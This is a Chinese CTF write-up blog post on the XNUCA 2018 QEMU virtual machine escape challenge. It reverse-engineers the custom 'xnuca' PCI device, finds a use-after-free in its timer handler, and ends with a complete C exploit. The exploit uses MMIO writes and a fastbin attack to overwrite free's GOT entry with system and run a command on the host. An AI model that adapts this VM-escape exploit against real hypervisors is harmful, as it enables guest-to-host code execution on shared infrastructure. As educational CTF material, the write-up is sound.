前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >CTF QEMU 虚拟机逃逸之XNUCA 2018 SSD

CTF QEMU 虚拟机逃逸之XNUCA 2018 SSD

作者头像
用户1423082
发布于 2024-12-31 12:10:58
发布于 2024-12-31 12:10:58
5800
代码可运行
举报
文章被收录于专栏:giantbranch's bloggiantbranch's blog
运行总次数:0
代码可运行

熟悉题目

先看启动脚本,那应该就是xnuca设备了

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
#!/bin/bash

./qemu-system-x86_64 \
    -initrd ./rootfs.img \
    -kernel ./vmlinuz-4.8.0-52-generic \
    -append "console=ttyS0 root=/dev/sda oops=panic panic=1"  \
    -monitor /dev/null \
    -m 64M --nographic -L ./dependency/usr/loacl/share/qemu \
    -L ./pc-bios \
    -nographic \
    -device xnuca

启动后直接root登录就可以了,查看pci设备

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
# lspci
00:00.0 Class 0600: 8086:1237
00:01.3 Class 0680: 8086:7113
00:03.0 Class 0200: 8086:100e
00:01.1 Class 0101: 8086:7010
00:02.0 Class 0300: 1234:1111
00:01.0 Class 0601: 8086:7000
00:04.0 Class 00ff: 1234:11e9

通过查看xnuca_class_init函数,可以知道xnuca对应00:04.0 Class 00ff: 1234:11e9

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
__int64 __fastcall xnuca_class_init(__int64 a1)
{
  __int64 result; // rax

  result = object_class_dynamic_cast_assert(
             a1,
             "pci-device",
             "/mnt/hgfs/Workbench/CTF/xnuca/qemu/hw/misc/xnuca.c",
             183LL,
             "xnuca_class_init");
  *(_QWORD *)(result + 176) = pci_xnuca_realize;
  *(_QWORD *)(result + 184) = pci_xnuca_uninit;
  *(_WORD *)(result + 208) = 0x1234;
  *(_WORD *)(result + 210) = 0x11E9;
  *(_BYTE *)(result + 212) = 0;
  *(_WORD *)(result + 214) = 0xFF;
  return result;
}

代码分析

先看read,就是读取0x9D0和0x9DC偏移的数据

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
__int64 __fastcall xnuca_mmio_read(__int64 State, unsigned __int8 addr)
{
  _BYTE v3[12]; // [rsp+20h] [rbp-14h]

  *(_DWORD *)&v3[8] = 0;
  *(_QWORD *)v3 = addr;
  if ( addr == 0x10 )
    return *(unsigned int *)(State + 0x9DC);
  if ( addr == 0x20 )
    *(_QWORD *)&v3[4] = *(unsigned int *)(State + 0x9D0);
  return *(_QWORD *)&v3[4];
}

再看write,有3个功能,分别是xnuca_set_timerxnuca_send_requestxnuca_auth

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
__int64 __fastcall xnuca_mmio_write(__int64 State, int addr, unsigned int value, int size)
{
  __int64 result; // rax
  int v5; // [rsp+10h] [rbp-30h]

  v5 = addr;
  result = State;
  if ( size == 4 || size == 8 )
  {
    result = (unsigned __int8)addr;
    if ( (unsigned __int8)addr == 0x20 )
    {
      result = xnuca_set_timer(State);
    }
    else if ( (_DWORD)result == 0x30 )
    {
      result = xnuca_send_request(
                 State,
                 (unsigned __int64)(addr & 0xF00) >> 8,
                 (unsigned __int64)((unsigned __int16)addr & 0xF000) >> 12,
                 (v5 & 0xFF0000u) >> 16,
                 (unsigned __int8)value);
    }
    else if ( (_DWORD)result == 0x10 )
    {
      result = xnuca_auth(State, (unsigned int)(char)value);
    }
  }
  return result;
}

先看xnuca_set_timer*(State + 0x9D0)的最低位是1,次低位是0才能进入,逻辑就是初始化了一个计时器,而且处理后将次低位置1了

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
__int64 __fastcall xnuca_set_timer(__int64 State)
{
  __int64 result; // rax

  result = *(_DWORD *)(State + 0x9D0) & 1;
  if ( (_DWORD)result )
  {
    result = *(_DWORD *)(State + 0x9D0) & 2;
    if ( !(_DWORD)result )
    {
      timer_init_ns(State + 0xA00, 0, (__int64)xnuca_timer, State);
      result = State;
      *(_DWORD *)(State + 0x9D0) |= 2u;
    }
  }
  return result;
}

那么State + 0xA00处是一个QEMUTimer ,计时器到期时要调用xnuca_timer,先看xnuca_timer,可以看到这里free后,没有将指针置空,又是经典堆题放到了qemu

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
__int64 __fastcall xnuca_timer(__int64 State)
{
  __int64 result; // rax
  int v2; // eax
  void **v3; // rbx

  result = *(_DWORD *)(State + 0x9D0) & 4;
  if ( (_DWORD)result )
  {
    v2 = *(_DWORD *)(State + 0x9EC);
    switch ( v2 )
    {
      case 2:
        *(_DWORD *)(*(unsigned int *)(State + 0x9F0)
                  + *(_QWORD *)(*(_QWORD *)(State + 0x9E0) + 8LL * *(unsigned int *)(State + 0x9E8))) = *(_DWORD *)(State + 0x9F8);
        break;
      case 3:
        free(*(void **)(*(_QWORD *)(State + 0x9E0) + 8LL * *(unsigned int *)(State + 0x9E8)));
        break;
      case 1:
        v3 = (void **)(*(_QWORD *)(State + 0x9E0) + 8LL * *(unsigned int *)(State + 0x9E8));
        *v3 = malloc(*(unsigned int *)(State + 0x9F0));
        break;
    }
    result = State;
    *(_DWORD *)(State + 0x9D0) &= 0xFFFFFFFB;
  }
  return result;
}

其实这样看有点难看,默认符号表没有State结构体,经过一顿查看代码逆向,我自己就新建了一个

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
struct xnucaState
{
  _BYTE notuse[2512];
  unsigned int cmd_9D0;
  _BYTE auth_str[8];
  unsigned int count_9DC;
  _QWORD heaplist_9E0;
  _DWORD offset_9E8;
  _DWORD choose_9EC;
  _DWORD mallocSize;
  _QWORD value_9F8;
  _QWORD qemu_timer;
};

再看看,是不是好看多了,那么要进入里面的漏洞代码区域,我们要使cmd_9D0&4 == 1

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
xnucaState *__fastcall xnuca_timer(xnucaState *State)
{
  xnucaState *result; // rax
  int v2; // eax
  void **v3; // rbx

  result = (xnucaState *)(State->cmd_9D0 & 4);
  if ( (_DWORD)result )
  {
    v2 = State->choose_9EC;
    switch ( v2 )
    {
      case 2:
        *(_DWORD *)((unsigned int)State->mallocSize
                  + *(_QWORD *)(State->heaplist_9E0 + 8LL * (unsigned int)State->offset_9E8)) = State->value_9F8;
        break;
      case 3:
        free(*(void **)(State->heaplist_9E0 + 8LL * (unsigned int)State->offset_9E8));
        break;
      case 1:
        v3 = (void **)(State->heaplist_9E0 + 8LL * (unsigned int)State->offset_9E8);
        *v3 = malloc((unsigned int)State->mallocSize);
        break;
    }
    result = State;
    State->cmd_9D0 &= 0xFFFFFFFB;
  }
  return result;
}

继续看xnuca_send_request,就是用来设置各种值的,将timer的超时时间设置成当前时间+10纳秒(根据qemu文档中timer_init_ns是以纳秒为单位初始化计时器),那么就相当于立刻执行,xnuca_timer

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
__int64 __fastcall xnuca_send_request(xnucaState *a1, int a2, int a3, int a4, unsigned int a5)
{
  __int64 v5; // rax

  a1->offset_9E8 = a2;
  a1->choose_9EC = a3;
  a1->mallocSize = a4;
  a1->value_9F8 = a5;
  a1->cmd_9D0 |= 4u;
  v5 = qemu_clock_get_ns(1u);
  return timer_mod((__int64)&a1->qemu_timer, v5 + 10);
}

最后还有xnuca_auth,就是count_9DC小于4的时候,将我们的value与a1->auth_str中的比较,相等就+1,否则置0,而count_9DC等于5,则将cmd_9D0最低位置1,同事从星将count_9DC置0

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
xnucaState *__fastcall xnuca_auth(xnucaState *a1, char a2)
{
  xnucaState *result; // rax

  if ( a1->count_9DC <= 4 )
  {
    if ( a1->auth_str[a1->count_9DC] == a2 )
      ++a1->count_9DC;
    else
      a1->count_9DC = 0;
  }
  result = (xnucaState *)a1->count_9DC;
  if ( (_DWORD)result == 5 )
  {
    a1->cmd_9D0 |= 1u;
    result = a1;
    a1->count_9DC = 0;
  }
  return result;
}

那么这个auth_str什么时候设置的呢,在pci_xnuca_realize里面,这里初始化了State的各个成员了

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
unsigned __int64 __fastcall pci_xnuca_realize(xnucaState *a1, __int64 a2)
{
  unsigned __int64 v2; // ST38_8
  __int64 v3; // ST28_8

  v2 = __readfsqword(0x28u);
  v3 = *(_QWORD *)&a1->notuse[120];
  a1->cmd_9D0 = 0;
  a1->auth_str[0] = 'X';
  a1->auth_str[1] = 'n';
  a1->auth_str[2] = 'u';
  a1->auth_str[3] = 'c';
  a1->auth_str[4] = 'a';
  a1->count_9DC = 0;
  a1->heaplist_9E0 = &mem_buf;
  memset(&a1->offset_9E8, 0, 0x18uLL);
  pci_config_set_interrupt_pin_5(v3, 1LL);
  memory_region_init_io(&a1->notuse[2272], a1, xnuca_mmio_ops, a1, "xnuca-mmio", 0x10000000LL, a2);
  pci_register_bar(a1, 0LL, 0LL, &a1->notuse[2272]);
  return __readfsqword(0x28u) ^ v2;
}

漏洞利用

利用思路:通过fastbin attack伪造fd指向free got后,修改free got为system plt的地址,最后调用free即可

这个跟defcon ec3一样,只不过这个有符号,但是给这个加了点限制,才能进入漏洞代码:

1、首先调用xnuca_timer,先得调用xnuca_set_timer初始化计时器 2、而进入计时器的初始化,需要State->cmd_9D0 & 1 == 1,那就需要通过xnuca_auth 5次后设置a1->cmd_9D0 |= 1u; 3、最后进入xnuca_timer中的漏洞代码,需要cmd_9D0 & 4 == 1,这个可以通过调用xnuca_send_request设置,不过也得必须调用xnuca_send_request来传递我们的参数

跟defcon ec3不一样的还有malloc的返回值不是0x7fxxxxxxx,所以指向直接fd劫持到got表,修改free了

最终利用代码:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
// -*- coding: utf-8 -*-
// @Date    : 2020-01-10
// @Author  : giantbranch
// @Link    : https://www.giantbranch.cn/
// @tags : 

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <errno.h>
#include <signal.h>
#include <fcntl.h>
#include <ctype.h>
#include <termios.h>
#include <assert.h>

#include <sys/types.h>
#include <sys/mman.h>
#include <sys/io.h>

// #define MAP_SIZE 4096UL
#define MAP_SIZE 0xfffffff
#define MAP_MASK (MAP_SIZE - 1)


char* pci_device_name = "/sys/devices/pci0000:00/0000:00:04.0/resource0";

unsigned char* mmio_base;

unsigned char* getMMIOBase(){
    
    int fd;
    if((fd = open(pci_device_name, O_RDWR | O_SYNC)) == -1) {
        perror("open pci device");
        exit(-1);
    }
    mmio_base = mmap(0, MAP_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
    if(mmio_base == (void *) -1) {
        perror("mmap");
        exit(-1);
    }
    return mmio_base;
}

void mmio_write(uint64_t addr, uint64_t value, uint32_t size)
{
    if (size == 1)
    {
        *((uint8_t*)(mmio_base + addr)) = value;
    }else if (size == 2)
    {
        *((uint16_t*)(mmio_base + addr)) = value;
    }else if (size == 4)
    {
        *((uint32_t*)(mmio_base + addr)) = value;
    }else if (size == 8)
    {
        *((uint64_t*)(mmio_base + addr)) = value;
    }
    
}

uint32_t mmio_read(uint64_t addr)
{
    return *((uint32_t*)(mmio_base + addr));
}

void xnuca_auth(uint32_t value)
{
    mmio_write(0x10, value, 4);
}

void xnuca_set_timer()
{
    mmio_write(0x20, 666, 4);
}

void xnuca_send_request(uint32_t index, uint32_t choose, uint32_t mallocSize, uint32_t value, uint32_t size)
{
    uint64_t addr = 0x30 | (index << 8) | (choose << 12) | (mallocSize << 16);
    mmio_write(addr, value, size);
}

void xnuca_malloc(uint32_t index, uint32_t mallocSize)
{
    xnuca_send_request(index, 1, mallocSize, 666, 4);
    // 睡眠1微秒,1μs = 1000ns
    usleep(1);
}

void xnuca_edit(uint32_t index, uint32_t offset, uint64_t value, uint32_t size)
{
    xnuca_send_request(index, 2, offset, value, size);
    usleep(1);
}

void xnuca_free(uint32_t index)
{
   xnuca_send_request(index, 3, 666, 666, 4);
   usleep(1);
}

int main(int argc, char const *argv[])
{
    uint64_t system_plt = 0x411420;

    getMMIOBase();
    printf("mmio_base Resource0Base: %p\n", mmio_base);


    /* 1、xnuca_auth set a1->cmd_9D0 |= 1u;*/
    // a1->auth_str[0] = 0x58;
    // a1->auth_str[1] = 0x6E;
    // a1->auth_str[2] = 0x75;
    // a1->auth_str[3] = 0x63;
    // a1->auth_str[4] = 0x61;
    xnuca_auth(0x58);
    xnuca_auth(0x6E);
    xnuca_auth(0x75);
    xnuca_auth(0x63);
    xnuca_auth(0x61);

    /*set timer*/
    xnuca_set_timer();
    
    //uaf: modify fd
    xnuca_malloc(0, 0x30);
    xnuca_free(0);
    xnuca_edit(0, 0, 0x11b92b2, 8);

    // try to get write access
    xnuca_malloc(0, 0x30);
    xnuca_malloc(1, 0x30);


    // // write system_plt to free_got
    xnuca_edit(1, 6, system_plt, 4);
    xnuca_edit(1, 6+4, 0, 4);

    // >>> from pwn import *
    // >>> map(hex, unpack_many("gnome-calculator"))
    // ['0x6d6f6e67', '0x61632d65', '0x6c75636c', '0x726f7461']
    // xnuca_malloc(6, 0x30);
    xnuca_edit(0, 0, 0x6d6f6e67, 4);
    xnuca_edit(0, 4, 0x61632d65, 4);
    xnuca_edit(0, 8, 0x6c75636c, 4);
    xnuca_edit(0, 12, 0x726f7461, 4);

    xnuca_free(0); // call free —— in fact call system_plt

    return 0;
}

最终效果——启动计算器:

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2020-01-08,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
CTF QEMU 虚拟机逃逸总结
来源:https://kirin-say.top/2019/11/06/QEMU-Escape-in-Cloud-Security-Game/
用户1423082
2024/12/31
800
CTF QEMU 虚拟机逃逸之BlizzardCTF 2017 Strng
内存映射I/O (Memory-mapped I/O —— MMIO) 端口映射I/O (port-mapped I/O —— PMIO)
用户1423082
2024/12/31
1260
CTF QEMU 虚拟机逃逸之BlizzardCTF 2017 Strng
CTF QEMU 虚拟机逃逸之强网杯2019线上赛qwct
一开始在16.04,18.04上尝试启动,结果安装的依赖库好像版本不太符合要求,最终在19.04上面安装依赖库即可启动了,看来强网杯还是紧跟最新的系统啊
用户1423082
2024/12/31
310
CTF QEMU 虚拟机逃逸之强网杯2019线上赛qwct
CTF QEMU 虚拟机逃逸之HITB-GSEC-2017-babyqemu
我们用ida载入,由于有符号的,函数那直接搜索hitb就出现相关函数了,通过初始化函数即下面的init函数可以看到device id是0x2333(记住WORD1这个是device id就行),还有设置了pci_hitb_realize也是初始化的,pci_hitb_uninit就是跟pci_hitb_realize相反的操作,进行destroy,del等操作
用户1423082
2024/12/31
950
CTF QEMU 虚拟机逃逸之HITB-GSEC-2017-babyqemu
CTF QEMU 虚拟机逃逸之Defcon 2018 - EC3
这个题目给的qemu-system-x86_64的符号是被stripped掉了,相当于增加了点难度
用户1423082
2024/12/31
780
CTF QEMU 虚拟机逃逸之Defcon 2018 - EC3
一个来自fairgame.co 的逆向工具(2)
现在我们了解了这种挂钩/通信方法的基础知识,所有其他对 MmGetPhysicalAddress 的调用的意图变得更加清晰。下次调用 MmGetPhysicalAddress 时,将传递驻留在 ntoskrnl 内部的指针。这个地址就是 ExAllocatePool 的地址。通常,ExAllocatePool 的这种用法用于为未签名的驱动程序分配空间。
franket
2021/08/09
2K0
虚拟机逃逸--QEMU案例学习
当前虚拟机被大量部署用于个人使用和企业部门。网络安全供应商使用不同的虚拟机来分析受控和受限环境中的恶意软件。这样就产生了一个问题恶意软件能够从虚拟机中逃脱出去并且执行远程代码吗?
半月弧
2020/09/01
2.1K0
​第一届四叶草网络安全学院牛年CTF大赛部分WriteUp
第一届四叶草网络安全学院牛年 CTF大赛 Web ★GET 考点 smarty模板注入 思路 根据提示输入GET参数得到源码.发现为smarty模板注入 payload: ?name={if pas
Timeline Sec
2021/03/04
1.9K0
QEMU 的一些基础知识及QOM(Qemu Object Model)的部分相关源码阅读
QEMU(quick emulator)是一款由Fabrice Bellard等人编写的免费开源的可执行硬件虚拟化的(hardware virtualization)开源托管虚拟机(VMM)。还可以为user-level的进程执行CPU仿真,进而允许了为一种架构编译的程序在另外一种架构上面运行。
用户1423082
2024/12/31
3980
QEMU 的一些基础知识及QOM(Qemu Object Model)的部分相关源码阅读
CTF PWN之堆漏洞转化为栈漏洞利用——bookstore
题目:https://github.com/giantbranch/CTF_PWN/tree/master/2018/tie3/bookstore
用户1423082
2024/12/31
940
CTF PWN之堆漏洞转化为栈漏洞利用——bookstore
0ctf babyheap
pwndbg> checksec [*] '/mnt/hgfs/CTF/nightmare-master/modules/28-fastbin_attack/0ctf_babyheap/0ctfbabyheap'     Arch:     amd64-64-little     RELRO:    Full RELRO     Stack:    Canary found     NX:       NX enabled     PIE:      PIE enabled
极安御信安全研究院
2023/09/07
2380
0ctf babyheap
原创Paper | 在 Android 中开发 eBPF 程序学习总结(三)
作者:Hcamael@知道创宇404实验室 日期:2022年11月30日 相关阅读: 在 Android 中开发 eBPF 程序学习总结(一) 在 Android 中开发 eBPF 程序学习总结(二)
Seebug漏洞平台
2023/01/05
1.1K1
SCTF2019pwn题解
题目都是堆的题,第一题玄学爆破1/4096,做完校队师傅和我说他1/200的几率都没出来,果然比赛看人脸黑不黑。下面是详细的题解。
迅达集团
2019/06/27
1.1K0
DDCTF WriteUp (Web压轴+逆向)
最后一道web,来自ShadowGlint师傅的复现(tql): 访问题目,抓包看到几个api。 account_info返回{"id":1,"roleAdmin":false} gen_token返回token token解b64有:PadOracle:iv/cbc 基本确定就是padding oracle然后cbc字节翻转。 原理都忘光了。。去复习了一波,找到脚本跑一下:
ChaMd5安全团队
2019/05/07
1.5K0
DDCTF WriteUp (Web压轴+逆向)
【愚公系列】2022年01月 攻防世界-简单题-PWN-003(string)
文章目录 一、string 二、答题步骤 1.获取在线场景 2.查壳 3.IDA 总结 一、string 题目链接:https://adworld.xctf.org.cn/task/task_lis
愚公搬代码
2022/01/21
4650
【愚公系列】2022年01月 攻防世界-简单题-PWN-003(string)
0x00sec Memo Manager
我们输入data的时候可以二次输入,那么就可以堆溢出了,最后的那里相当于给了提示,不过暂时看来只能溢出top chunk
用户1423082
2024/12/31
630
PWN学习之house of系列(一)
house of spirit是fastbin的一种利用方法,利用demo可参考: https://github.com/shellphish/how2heap/blob/master/house_of_spirit.c
Seebug漏洞平台
2018/03/16
2.5K7
PWN学习之house of系列(一)
BUUCTF 刷题笔记——PWN 2
先验文件,本题文件为 32 为可执行文件,保护约等于没开。值得注意的是,该文件又是静态链接,因此又可以直接调用一些未被调用过的函数来解题,比如老朋友 mprotect() 函数。
h-t-m
2023/03/10
1.6K0
BUUCTF 刷题笔记——PWN 2
攻防世界-Reverse新手区WP--maze
    疫情当下,都已经耍了半个月了,都不知道干啥了,无聊中,那就写了Reverse解题记录吧。
用户10781703
2023/10/10
2520
攻防世界-Reverse新手区WP--maze
浙江省首届网络安全大赛决赛Write Up
直接打开pwd.docx,发现是空的,那么将其作为zip 解压,在其中找到了一张二维码
安恒网络空间安全讲武堂
2018/12/07
1K0
相关推荐
CTF QEMU 虚拟机逃逸总结
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
本文部分代码块支持一键运行,欢迎体验
本文部分代码块支持一键运行,欢迎体验